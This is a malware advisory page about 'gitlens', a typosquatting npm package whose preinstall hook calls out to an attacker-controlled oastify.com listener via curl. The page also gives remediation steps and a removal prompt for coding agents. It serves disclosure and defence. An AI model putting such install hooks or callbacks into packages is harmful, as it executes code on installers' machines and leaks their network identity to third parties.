# MAL-2026-6973: Malicious code in gitlens (npm)


- **Type:** Malicious package
- **Package:** `gitlens` (npm)
- **Published:** 8 Jul 2026
- **Also known as:** GHSA-mgwg-48mg-h7pg

## What is MAL-2026-6973?

MAL-2026-6973 is a malicious package in gitlens, published on 8 Jul 2026. 

### Official description

package.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on `npm install`. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-6973?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6973 is a malicious package: gitlens (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6973/ (Markdown: https://insights.sbomify.com/MAL-2026-6973/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6973

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6973/
Summaries are generated and may contain mistakes; the official description above is the record.